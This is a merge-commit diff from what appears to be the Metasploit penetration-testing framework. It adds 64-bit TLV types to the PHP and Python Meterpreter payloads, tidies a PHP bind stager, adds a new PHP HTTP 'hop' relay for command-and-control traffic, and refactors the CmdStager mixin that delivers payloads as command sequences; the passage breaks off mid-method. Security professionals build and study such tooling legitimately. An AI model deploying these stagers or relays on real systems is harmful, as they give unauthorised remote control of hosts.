Merge branch 'master' into staging/electro-release
Conflicts: Gemfile Gemfile.lockbug/bundler_fix
commit
aeda74f394
|
@ -6,10 +6,10 @@
|
|||
##
|
||||
# General
|
||||
##
|
||||
define("TLV_TYPE_HANDLE", TLV_META_TYPE_UINT | 600);
|
||||
define("TLV_TYPE_HANDLE", TLV_META_TYPE_QWORD | 600);
|
||||
define("TLV_TYPE_INHERIT", TLV_META_TYPE_BOOL | 601);
|
||||
define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_UINT | 630);
|
||||
define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_UINT | 631);
|
||||
define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_QWORD | 630);
|
||||
define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_QWORD | 631);
|
||||
|
||||
##
|
||||
# Fs
|
||||
|
@ -65,7 +65,7 @@ define("PROCESS_EXECUTE_FLAG_SUSPENDED", (1 << 2));
|
|||
define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3));
|
||||
|
||||
# Registry
|
||||
define("TLV_TYPE_HKEY", TLV_META_TYPE_UINT | 1000);
|
||||
define("TLV_TYPE_HKEY", TLV_META_TYPE_QWORD | 1000);
|
||||
define("TLV_TYPE_ROOT_KEY", TLV_TYPE_HKEY);
|
||||
define("TLV_TYPE_BASE_KEY", TLV_META_TYPE_STRING | 1001);
|
||||
define("TLV_TYPE_PERMISSION", TLV_META_TYPE_UINT | 1002);
|
||||
|
@ -90,12 +90,12 @@ define("TLV_TYPE_ENV_GROUP", TLV_META_TYPE_GROUP | 1102);
|
|||
define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0));
|
||||
|
||||
# Process
|
||||
define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_UINT | 2000);
|
||||
define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2000);
|
||||
define("TLV_TYPE_ALLOCATION_TYPE", TLV_META_TYPE_UINT | 2001);
|
||||
define("TLV_TYPE_PROTECTION", TLV_META_TYPE_UINT | 2002);
|
||||
define("TLV_TYPE_PROCESS_PERMS", TLV_META_TYPE_UINT | 2003);
|
||||
define("TLV_TYPE_PROCESS_MEMORY", TLV_META_TYPE_RAW | 2004);
|
||||
define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_UINT | 2005);
|
||||
define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2005);
|
||||
define("TLV_TYPE_MEMORY_STATE", TLV_META_TYPE_UINT | 2006);
|
||||
define("TLV_TYPE_MEMORY_TYPE", TLV_META_TYPE_UINT | 2007);
|
||||
define("TLV_TYPE_ALLOC_PROTECTION", TLV_META_TYPE_UINT | 2008);
|
||||
|
@ -109,16 +109,16 @@ define("TLV_TYPE_PROCESS_ARGUMENTS", TLV_META_TYPE_STRING | 2305);
|
|||
define("TLV_TYPE_IMAGE_FILE", TLV_META_TYPE_STRING | 2400);
|
||||
define("TLV_TYPE_IMAGE_FILE_PATH", TLV_META_TYPE_STRING | 2401);
|
||||
define("TLV_TYPE_PROCEDURE_NAME", TLV_META_TYPE_STRING | 2402);
|
||||
define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_UINT | 2403);
|
||||
define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_UINT | 2404);
|
||||
define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_QWORD | 2403);
|
||||
define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_QWORD | 2404);
|
||||
define("TLV_TYPE_IMAGE_GROUP", TLV_META_TYPE_GROUP | 2405);
|
||||
define("TLV_TYPE_IMAGE_NAME", TLV_META_TYPE_STRING | 2406);
|
||||
|
||||
define("TLV_TYPE_THREAD_ID", TLV_META_TYPE_UINT | 2500);
|
||||
define("TLV_TYPE_THREAD_PERMS", TLV_META_TYPE_UINT | 2502);
|
||||
define("TLV_TYPE_EXIT_CODE", TLV_META_TYPE_UINT | 2510);
|
||||
define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_UINT | 2511);
|
||||
define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_UINT | 2512);
|
||||
define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_QWORD | 2511);
|
||||
define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_QWORD | 2512);
|
||||
define("TLV_TYPE_CREATION_FLAGS", TLV_META_TYPE_UINT | 2513);
|
||||
|
||||
define("TLV_TYPE_REGISTER_NAME", TLV_META_TYPE_STRING | 2540);
|
||||
|
@ -137,7 +137,7 @@ define("TLV_TYPE_DESKTOP", TLV_META_TYPE_STRING | 3002);
|
|||
# Event Log
|
||||
##
|
||||
define("TLV_TYPE_EVENT_SOURCENAME", TLV_META_TYPE_STRING | 4000);
|
||||
define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_UINT | 4001);
|
||||
define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_QWORD | 4001);
|
||||
define("TLV_TYPE_EVENT_NUMRECORDS", TLV_META_TYPE_UINT | 4002);
|
||||
|
||||
define("TLV_TYPE_EVENT_READFLAGS", TLV_META_TYPE_UINT | 4003);
|
||||
|
|
|
@ -252,6 +252,7 @@ TLV_META_TYPE_STRING = (1 << 16)
|
|||
TLV_META_TYPE_UINT = (1 << 17)
|
||||
TLV_META_TYPE_RAW = (1 << 18)
|
||||
TLV_META_TYPE_BOOL = (1 << 19)
|
||||
TLV_META_TYPE_QWORD = (1 << 20)
|
||||
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
||||
TLV_META_TYPE_GROUP = (1 << 30)
|
||||
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||
|
@ -284,10 +285,10 @@ TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
|||
##
|
||||
# General
|
||||
##
|
||||
TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600
|
||||
TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600
|
||||
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
|
||||
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630
|
||||
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631
|
||||
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630
|
||||
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631
|
||||
|
||||
##
|
||||
# Fs
|
||||
|
@ -346,7 +347,7 @@ TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530
|
|||
##
|
||||
# Registry
|
||||
##
|
||||
TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000
|
||||
TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000
|
||||
TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
|
||||
TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
|
||||
TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
|
||||
|
@ -376,12 +377,12 @@ DELETE_KEY_FLAG_RECURSIVE = (1 << 0)
|
|||
##
|
||||
# Process
|
||||
##
|
||||
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000
|
||||
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000
|
||||
TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001
|
||||
TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002
|
||||
TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003
|
||||
TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004
|
||||
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005
|
||||
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005
|
||||
TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006
|
||||
TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007
|
||||
TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008
|
||||
|
@ -397,16 +398,16 @@ TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307
|
|||
TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
|
||||
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
|
||||
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
|
||||
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403
|
||||
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404
|
||||
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403
|
||||
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404
|
||||
TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
|
||||
TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406
|
||||
|
||||
TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500
|
||||
TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502
|
||||
TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510
|
||||
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511
|
||||
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512
|
||||
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511
|
||||
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512
|
||||
TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513
|
||||
|
||||
TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540
|
||||
|
@ -425,7 +426,7 @@ TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002
|
|||
# Event Log
|
||||
##
|
||||
TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000
|
||||
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001
|
||||
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001
|
||||
TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002
|
||||
|
||||
TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003
|
||||
|
|
|
@ -125,6 +125,7 @@ define("TLV_META_TYPE_STRING", (1 << 16));
|
|||
define("TLV_META_TYPE_UINT", (1 << 17));
|
||||
define("TLV_META_TYPE_RAW", (1 << 18));
|
||||
define("TLV_META_TYPE_BOOL", (1 << 19));
|
||||
define("TLV_META_TYPE_QWORD", (1 << 20));
|
||||
define("TLV_META_TYPE_COMPRESSED", (1 << 29));
|
||||
define("TLV_META_TYPE_GROUP", (1 << 30));
|
||||
define("TLV_META_TYPE_COMPLEX", (1 << 31));
|
||||
|
@ -655,6 +656,11 @@ function tlv_pack($tlv) {
|
|||
if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
||||
$ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0");
|
||||
}
|
||||
elseif (($tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
|
||||
$hi = ($tlv['value'] >> 32) & 0xFFFFFFFF;
|
||||
$lo = $tlv['value'] & 0xFFFFFFFF;
|
||||
$ret = pack("NNNN", 8 + 8, $tlv['type'], $hi, $lo);
|
||||
}
|
||||
elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
||||
$ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']);
|
||||
}
|
||||
|
@ -686,10 +692,17 @@ function tlv_unpack($raw_tlv) {
|
|||
my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
||||
if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
||||
$tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len']));
|
||||
# PHP 5.5.0 modifed the 'a' unpack format to stop removing the trailing
|
||||
# NULL, so catch that here
|
||||
$tlv['value'] = str_replace("\0", "", $tlv['value']);
|
||||
}
|
||||
elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
||||
$tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len']));
|
||||
}
|
||||
elseif (($type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
|
||||
$tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr($raw_tlv, 0, $tlv['len']));
|
||||
$tlv['value'] = $tlv['hi'] << 32 | $tlv['lo'];
|
||||
}
|
||||
elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
|
||||
$tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len']));
|
||||
}
|
||||
|
@ -911,7 +924,8 @@ function read($resource, $len=null) {
|
|||
$r = Array($resource);
|
||||
my_print("Calling select to see if there's data on $resource");
|
||||
while (true) {
|
||||
$cnt = stream_select($r, $w=NULL, $e=NULL, 0);
|
||||
$w=NULL;$e=NULL;$t=0;
|
||||
$cnt = stream_select($r, $w, $e, $t);
|
||||
|
||||
# Stream is not ready to read, have to live with what we've gotten
|
||||
# so far
|
||||
|
@ -1147,7 +1161,8 @@ add_reader($msgsock);
|
|||
# Main dispatch loop
|
||||
#
|
||||
$r=$GLOBALS['readers'];
|
||||
while (false !== ($cnt = select($r, $w=null, $e=null, 1))) {
|
||||
$w=NULL;$e=NULL;$t=1;
|
||||
while (false !== ($cnt = select($r, $w, $e, $t))) {
|
||||
#my_print(sprintf("Returned from select with %s readers", count($r)));
|
||||
$read_failed = false;
|
||||
for ($i = 0; $i < $cnt; $i++) {
|
||||
|
|
|
@ -54,6 +54,7 @@ TLV_META_TYPE_STRING = (1 << 16)
|
|||
TLV_META_TYPE_UINT = (1 << 17)
|
||||
TLV_META_TYPE_RAW = (1 << 18)
|
||||
TLV_META_TYPE_BOOL = (1 << 19)
|
||||
TLV_META_TYPE_QWORD = (1 << 20)
|
||||
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
||||
TLV_META_TYPE_GROUP = (1 << 30)
|
||||
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||
|
@ -150,6 +151,8 @@ def packet_enum_tlvs(pkt, tlv_type = None):
|
|||
val = str(val.split(NULL_BYTE, 1)[0])
|
||||
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
val = struct.unpack('>I', val)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
||||
val = struct.unpack('>Q', val)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
val = bool(struct.unpack('b', val)[0])
|
||||
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
|
@ -175,6 +178,8 @@ def tlv_pack(*args):
|
|||
data = ""
|
||||
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
|
||||
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
||||
data = struct.pack('>IIQ', 16, tlv['type'], tlv['value'])
|
||||
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
||||
else:
|
||||
|
|
|
@ -9,24 +9,27 @@ if (is_callable('stream_socket_server')) {
|
|||
$srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}");
|
||||
if (!$srvsock) { die(); }
|
||||
$s = stream_socket_accept($srvsock, -1);
|
||||
fclose($srvsock);
|
||||
$s_type = 'stream';
|
||||
} elseif (is_callable('socket_create_listen')) {
|
||||
$srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
if (!$res) { die(); }
|
||||
$s = socket_accept($srvsock);
|
||||
socket_close($srvsock);
|
||||
$s_type = 'socket';
|
||||
} elseif (is_callable('socket_create')) {
|
||||
$srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
$res = socket_bind($srvsock, $ipaddr, $port);
|
||||
if (!$res) { die(); }
|
||||
$s = socket_accept($srvsock);
|
||||
socket_close($srvsock);
|
||||
$s_type = 'socket';
|
||||
} else {
|
||||
die();
|
||||
}
|
||||
if (!$s) { die(); }
|
||||
|
||||
switch ($s_type) {
|
||||
switch ($s_type) {
|
||||
case 'stream': $len = fread($s, 4); break;
|
||||
case 'socket': $len = socket_read($s, 4); break;
|
||||
}
|
||||
|
@ -40,7 +43,7 @@ $len = $a['len'];
|
|||
|
||||
$b = '';
|
||||
while (strlen($b) < $len) {
|
||||
switch ($s_type) {
|
||||
switch ($s_type) {
|
||||
case 'stream': $b .= fread($s, $len-strlen($b)); break;
|
||||
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
|
||||
}
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
<?php
|
||||
$magic = 'TzGq';
|
||||
$tempdir = sys_get_temp_dir() . "/hop" . $magic;
|
||||
if(!is_dir($tempdir)){
|
||||
mkdir($tempdir); //make sure it's there
|
||||
}
|
||||
|
||||
//get url
|
||||
$url = $_SERVER["QUERY_STRING"];
|
||||
//like /path/hop.php?/uRIcksm_lOnGidENTifIEr
|
||||
|
||||
//Looks for a file with a name or contents prefix, if found, send it and deletes it
|
||||
function findSendDelete($tempdir, $prefix, $one=true){
|
||||
if($dh = opendir($tempdir)){
|
||||
while(($file = readdir($dh)) !== false){
|
||||
if(strpos($file, $prefix) !== 0){
|
||||
continue;
|
||||
}
|
||||
readfile($tempdir."/".$file);
|
||||
unlink($tempdir."/".$file);
|
||||
if($one){
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//handle control
|
||||
if($url === "/control"){
|
||||
if($_SERVER['REQUEST_METHOD'] === 'POST'){
|
||||
//handle data for payload - save in a "down" file or the "init" file
|
||||
$postdata = file_get_contents("php://input");
|
||||
if(array_key_exists('HTTP_X_INIT', $_SERVER)){
|
||||
$f = fopen($tempdir."/init", "w"); //only one init file
|
||||
}else{
|
||||
$prefix = "down_" . bin2hex($_SERVER['HTTP_X_URLFRAG']);
|
||||
$f = fopen(tempnam($tempdir,$prefix), "w");
|
||||
}
|
||||
fwrite($f, $postdata);
|
||||
fclose($f);
|
||||
}else{
|
||||
findSendDelete($tempdir, "up_", false);
|
||||
}
|
||||
}else if($_SERVER['REQUEST_METHOD'] === 'POST'){
|
||||
//get data
|
||||
$postdata = file_get_contents("php://input");
|
||||
//See if we should send anything down
|
||||
if($postdata === 'RECV'){
|
||||
findSendDelete($tempdir, "down_" . bin2hex($url));
|
||||
$fname = $tempdir . "/up_recv_" . bin2hex($url); //Only keep one RECV poll
|
||||
}else{
|
||||
$fname = tempnam($tempdir, "up_"); //actual data gets its own filename
|
||||
}
|
||||
//find free and write new file
|
||||
$f = fopen($fname, "w");
|
||||
fwrite($f, $magic);
|
||||
//Little-endian pack length and data
|
||||
$urlen = strlen($url);
|
||||
fwrite($f, pack('V', $urlen));
|
||||
fwrite($f, $url);
|
||||
$postdatalen = strlen($postdata);
|
||||
fwrite($f, pack('V', $postdatalen));
|
||||
fwrite($f, $postdata);
|
||||
fclose($f);
|
||||
//Initial query will be a GET and have a 12345 in it
|
||||
}else if(strpos($url, "12345") !== FALSE){
|
||||
readfile($tempdir."/init");
|
||||
}
|
|
@ -5,93 +5,315 @@ require 'msf/core/exploit/exe'
|
|||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides an interface to generating cmdstagers
|
||||
#
|
||||
###
|
||||
module Exploit::CmdStager
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
# Constant for stagers - used when creating an stager instance.
|
||||
STAGERS = {
|
||||
:bourne => Rex::Exploitation::CmdStagerBourne,
|
||||
:debug_asm => Rex::Exploitation::CmdStagerDebugAsm,
|
||||
:debug_write => Rex::Exploitation::CmdStagerDebugWrite,
|
||||
:echo => Rex::Exploitation::CmdStagerEcho,
|
||||
:printf => Rex::Exploitation::CmdStagerPrintf,
|
||||
:vbs => Rex::Exploitation::CmdStagerVBS,
|
||||
:vbs_adodb => Rex::Exploitation::CmdStagerVBS,
|
||||
:tftp => Rex::Exploitation::CmdStagerTFTP
|
||||
}
|
||||
|
||||
# Constant for decoders - used when checking the default flavor decoder.
|
||||
DECODERS = {
|
||||
:debug_asm => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "debug_asm"),
|
||||
:debug_write => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "debug_write"),
|
||||
:vbs => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"),
|
||||
:vbs_adodb => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_adodb")
|
||||
}
|
||||
|
||||
attr_accessor :stager_instance
|
||||
attr_accessor :cmd_list
|
||||
attr_accessor :flavor
|
||||
attr_accessor :decoder
|
||||
attr_accessor :exe
|
||||
|
||||
# Creates an instance of an exploit that uses an CMD Stager and register the
|
||||
# datastore options provided by the mixin.
|
||||
#
|
||||
# Creates an instance of an exploit that uses an CmdStager overwrite.
|
||||
#
|
||||
# @param info [Hash] Hash containing information to initialize the exploit.
|
||||
# @return [Msf::Module::Exploit] the exploit module.
|
||||
def initialize(info = {})
|
||||
super
|
||||
@cmd_list = nil
|
||||
@stager_instance = nil
|
||||
|
||||
flavors = module_flavors
|
||||
flavors = STAGERS.keys if flavors.empty?
|
||||
flavors.unshift('auto')
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]),
|
||||
OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
# Executes the command stager while showing the progress. This method should
|
||||
# be called from exploits using this mixin.
|
||||
#
|
||||
# Execute the command stager while showing the progress
|
||||
#
|
||||
# @param opts [Hash] Hash containing configuration options. Also allow to
|
||||
# send opts to the Rex::Exploitation::CmdStagerBase constructor.
|
||||
# @option opts :flavor [Symbol] The CMD Stager to use.
|
||||
# @option opts :decoder [Symbol] The decoder stub to use.
|
||||
# @option opts :delay [Float] Delay between command executions.
|
||||
# @return [void]
|
||||
def execute_cmdstager(opts = {})
|
||||
cmd_list = generate_cmdstager(opts)
|
||||
self.cmd_list = generate_cmdstager(opts)
|
||||
|
||||
execute_cmdstager_begin(opts)
|
||||
stager_instance.setup(self)
|
||||
|
||||
sent = 0
|
||||
total_bytes = 0
|
||||
cmd_list.each { |cmd| total_bytes += cmd.length }
|
||||
begin
|
||||
execute_cmdstager_begin(opts)
|
||||
|
||||
delay = opts[:delay]
|
||||
delay ||= 0.25
|
||||
sent = 0
|
||||
total_bytes = 0
|
||||
cmd_list.each { |cmd| total_bytes += cmd.length }
|
||||
|
||||
cmd_list.each do |cmd|
|
||||
execute_command(cmd, opts)
|
||||
sent += cmd.length
|
||||
delay = opts[:delay]
|
||||
delay ||= 0.25
|
||||
|
||||
# In cases where a server has multiple threads, we want to be sure that
|
||||
# commands we execute happen in the correct (serial) order.
|
||||
::IO.select(nil, nil, nil, delay)
|
||||
cmd_list.each do |cmd|
|
||||
execute_command(cmd, opts)
|
||||
sent += cmd.length
|
||||
|
||||
progress(total_bytes, sent)
|
||||
# In cases where a server has multiple threads, we want to be sure that
|
||||
# commands we execute happen in the correct (serial) order.
|
||||
::IO.select(nil, nil, nil, delay)
|
||||
|
||||
progress(total_bytes, sent)
|
||||
end
|
||||
|
||||
execute_cmdstager_end(opts)
|
||||
ensure
|
||||
stager_instance.teardown(self)
|
||||
end
|
||||
|
||||
execute_cmdstager_end(opts)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Generates a cmd stub based on the current target's architecture
|
||||
# and operating system.
|
||||
# and platform.
|
||||
#
|
||||
# @param opts [Hash] Hash containing configuration options. Also allow to
|
||||
# send opts to the Rex::Exploitation::CmdStagerBase constructor.
|
||||
# @option opts :flavor [Symbol] The CMD Stager to use.
|
||||
# @option opts :decoder [Symbol] The decoder stub to use.
|
||||
# @param pl [String] String containing the payload to execute
|
||||
# @return [Array] The list of commands to execute
|
||||
# @raise [ArgumentError] raised if the cmd stub can not be generated
|
||||
def generate_cmdstager(opts = {}, pl = nil)
|
||||
pl ||= payload.encoded
|
||||
select_cmdstager(opts)
|
||||
|
||||
@exe = generate_payload_exe
|
||||
self.exe = generate_payload_exe(:code => pl)
|
||||
|
||||
@stager_instance = create_stager(@exe)
|
||||
cmd_list = @stager_instance.generate(opts)
|
||||
self.stager_instance = create_stager
|
||||
cmd_list = stager_instance.generate(opts_with_decoder(opts))
|
||||
|
||||
if (cmd_list.nil? or cmd_list.length < 1)
|
||||
if (cmd_list.nil? || cmd_list.length < 1)
|
||||
print_error("The command stager could not be generated")
|
||||
raise ArgumentError
|
||||
end
|
||||
|
||||
@cmd_list = cmd_list
|
||||
cmd_list
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Show the progress of the upload
|
||||
# Show the progress of the upload while cmd staging
|
||||
#
|
||||
# @param total [Float] The total number of bytes to send
|
||||
# @param sent [Float] The number of bytes sent
|
||||
# @return [void]
|
||||
def progress(total, sent)
|
||||
done = (sent.to_f / total.to_f) * 100
|
||||
percent = "%3.2f%%" % done.to_f
|
||||
print_status("Command Stager progress - %7s done (%d/%d bytes)" % [percent, sent, total])
|
||||
end
|
||||
|
||||
# Selects the correct cmd stager and decoder stub to use
|
||||
#
|
||||
# Methods to override - not used internally
|
||||
# @param opts [Hash] Hash containing the options to select te correct cmd
|
||||
# stager and decoder.
|
||||
# @option opts :flavor [Symbol] The cmd stager to use.
|
||||
# @option opts :decoder [Symbol] The decoder stub to use.
|
||||
# @return [void]
|
||||
# @raise [ArgumentError] raised if a cmd stager can not be selected or it
|
||||
# isn't compatible with the target platform.
|
||||
def select_cmdstager(opts = {})
|
||||
self.flavor = select_flavor(opts)
|
||||
raise ArgumentError, "Unable to select CMD Stager" if flavor.nil?
|
||||
raise ArgumentError, "The CMD Stager '#{flavor}' isn't compatible with the target" unless compatible_flavor?(flavor)
|
||||
self.decoder = select_decoder(opts)
|
||||
end
|
||||
|
||||
|
||||
# Returns a hash with the :decoder option if possible
|
||||
#
|
||||
# @params opts [Hash] Input Hash.
|
||||
# @return [Hash] Hash with the input data and a :decoder option when
|
||||
# possible.
|
||||
def opts_with_decoder(opts = {})
|
||||
return opts if opts.include?(:decoder)
|
||||
return opts.merge(:decoder => decoder) if decoder
|
||||
opts
|
||||
end
|
||||
|
||||
|
||||
# Create an instance of the flavored stager.
|
||||
#
|
||||
# @return [Rex::Exploitation::CmdStagerBase] The cmd stager to use.
|
||||
# @raise [NoMethodError] raised if the flavor doesn't exist.
|
||||
def create_stager
|
||||
STAGERS[flavor].new(exe)
|
||||
end
|
||||
|
||||
# Returns the default decoder stub for the input flavor.
|
||||
#
|
||||
# @param f [Symbol] the input flavor.
|
||||
# @return [Symbol] the decoder.
|
||||
# @return [nil] if there isn't a default decoder to use for the current
|
||||
# cmd stager flavor.
|
||||
def default_decoder(f)
|
||||
DECODERS[f]
|
||||
end
|
||||
|
||||
# Selects the correct cmd stager decoder to use based on three rules: (1) use
|
||||
# the decoder provided in input options, (2) use the decoder provided by the
|
||||
# user through datastore options, (3) select the default decoder for the
|
||||
# current cmd stager flavor if available.
|
||||
#
|
||||
# @param opts [Hash] Hash containing the options to select te correct
|
||||
# decoder.
|
||||
# @option opts :decoder [String] The decoder stub to use.
|
||||
# @return [String] The decoder.
|
||||
# @return [nil] if a decoder can not be selected.
|
||||
def select_decoder(opts = {})
|
||||
return opts[:decoder] if opts.include?(:decoder)
|
||||
return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank?
|
||||
default_decoder(flavor)
|
||||
end
|
||||
|
||||
# Selects the correct cmd stager to use based on three rules: (1) use the
|
||||
# flavor provided in options, (2) use the flavor provided by the user
|
||||
# through datastore options, (3) guess the flavor using the target platform.
|
||||
#
|
||||
# @param opts [Hash] Hash containing the options to select te correct cmd
|
||||
# stager
|
||||
# @option opts :flavor [Symbol] The cmd stager flavor to use.
|
||||
# @return [Symbol] The flavor to use.
|
||||
# @return [nil] if a flavor can not be selected.
|
||||
def select_flavor(opts = {})
|
||||
return opts[:flavor].to_sym if opts.include?(:flavor)
|
||||
unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto'
|
||||
return datastore['CMDSTAGER::FLAVOR'].to_sym
|
||||
end
|
||||
guess_flavor
|
||||
end
|
||||
|
||||
# Guess the cmd stager flavor to use using information from the module,
|
||||
# target or platform.
|
||||
#
|
||||
# @return [Symbol] The cmd stager flavor to use.
|
||||
# @return [nil] if the cmd stager flavor can not be guessed.
|
||||
def guess_flavor
|
||||
# First try to guess a compatible flavor based on the module & target information.
|
||||
unless target_flavor.nil?
|
||||
case target_flavor.class.to_s
|
||||
when 'Array'
|
||||
return target_flavor[0].to_sym
|
||||
when 'String'
|
||||
return target_flavor.to_sym
